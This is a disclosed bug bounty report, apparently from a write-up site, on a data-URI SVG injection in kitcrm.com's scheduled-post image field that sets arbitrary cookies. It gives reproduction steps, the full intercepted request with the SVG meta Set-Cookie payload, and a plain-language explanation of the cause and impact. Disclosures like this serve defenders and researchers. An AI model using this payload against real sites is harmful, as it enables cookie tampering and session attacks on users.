Setting Arbitrary Cookie at kitcrm.com
The image URL field of a scheduled post was not sanitised, so an attacker could supply a data URI containing an SVG with a Set-Cookie meta tag. When the post was edited, the browser rendered the SVG and set an arbitrary cookie on the site's domain.
- Disclosed after 5 months
Hey
The src parameter of Image is not being sanitized which allows me to set cookies at kitcrm.com
Proof of Concept
- Create a post at
https://kitcrm.com/pages/ID/manual_posts/new - Select
Schedule for Later - Go to Scheduled Posts
https://kitcrm.com/pages/ID/manual_posts - Click
Editon your post - Select any random photo and click "Update"
- Intercept the request, Change the
manual_post[image_url]to
data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>
7. Check document.cookie from the console
POST /pages/176625/manual_posts/30923 HTTP/1.1
Host: kitcrm.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://kitcrm.com/pages/176625/manual_posts/30923/edit
Cookie:
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------153019791019196005451079530934
Content-Length: 3600
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="utf8"
â
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="_method"
patch
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="authenticity_token"
HSRt0lrRnpOeD8pANBLJWen0cCihQV/eAhaCBvUR7XjZkiqSjXWDBvY+Qr/+fk9QjL7RI1aTOPciNpGQLnKBFg==
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[image_uploader]"; filename="medium_divider.png"
Content-Type: image/png
PNG
IHDRd¨ËfwsRGB®ÎéIDATxíÝAN1PqÄp
ØufÏ\#sGr*¤XVlç±ië÷ûR/èyzòC @ @ @ @ @ @ @ @ @ @ @ @ @ @ @,pýxûùãïÇýv}ÿ) @ÕFÿþ?¯vCæ!@=È{2%P ËÄ@ØC@ì±'S @`9²ÜJ
D=È{2%P ËÄ@ØC@ì±'S @`9²ÜJ
D=^öÓü¯£ÿ-ímó~s<̳u2P G¯×Í @`gëd- @^¯#@À<2ÏÖÉ8Z@½^7Gy
d p´9z½nóÈ<[' @àhrôzÝæ (y¶N&@ÀÑ×è{fÖqs <D4Òtd H¤ @@ð} MGFÀ?øýùkh×÷¡ë]<d RpD H¶ @@P GDY@d RpD H¶ @@P GDY@d RpD H¶ @@~Öã~»Êù"
\÷ÛÐõ.Σßå $ÛJ @ (#"@, @²)8"È
$ÛH @ (#"@, @²)8"È
$ÛH @ (#"@, @²)8"È
$ÛH @ (#"@, @²)8"È
$ÛH @ (#"@, @²)8"È
$ÛH @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @þRàS
¿i{IEND®B`
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[message]"
sdasda
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[link]"
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[facebook]"
true
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[twitter]"
false
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[share_all]"
false
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at]"
1:00
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_1i]"
2017
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_2i]"
3
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_3i]"
17
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_4i]"
1
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_5i]"
0
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="commit"
UPDATE
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[image_url]"
data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>
-----------------------------153019791019196005451079530934--
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application accepted a data URI in the image URL field without validating or sanitising it, and then rendered it in a context where the embedded SVG could execute.
Impact
An attacker could set arbitrary cookies on the kitcrm.com domain.
What the attacker needed
An account able to create posts; ability to intercept and modify requests
How it was found
- Create a post at the manual posts new page.
- Select Schedule for Later.
- Open the scheduled posts list and click Edit on the post.
- Select a random photo and click Update.
- Intercept the request and change the image URL field to a data URI containing an SVG with a Set-Cookie meta tag.
- Check document.cookie in the browser console.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A cookie is a small piece of data a website stores in your browser, and it can be used to identify your session. The site let a user put a special image link into a post, and that link could contain a tiny web page that tells the browser to save a cookie. Because the site did not clean the link, the browser obeyed and saved a cookie chosen by the attacker.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.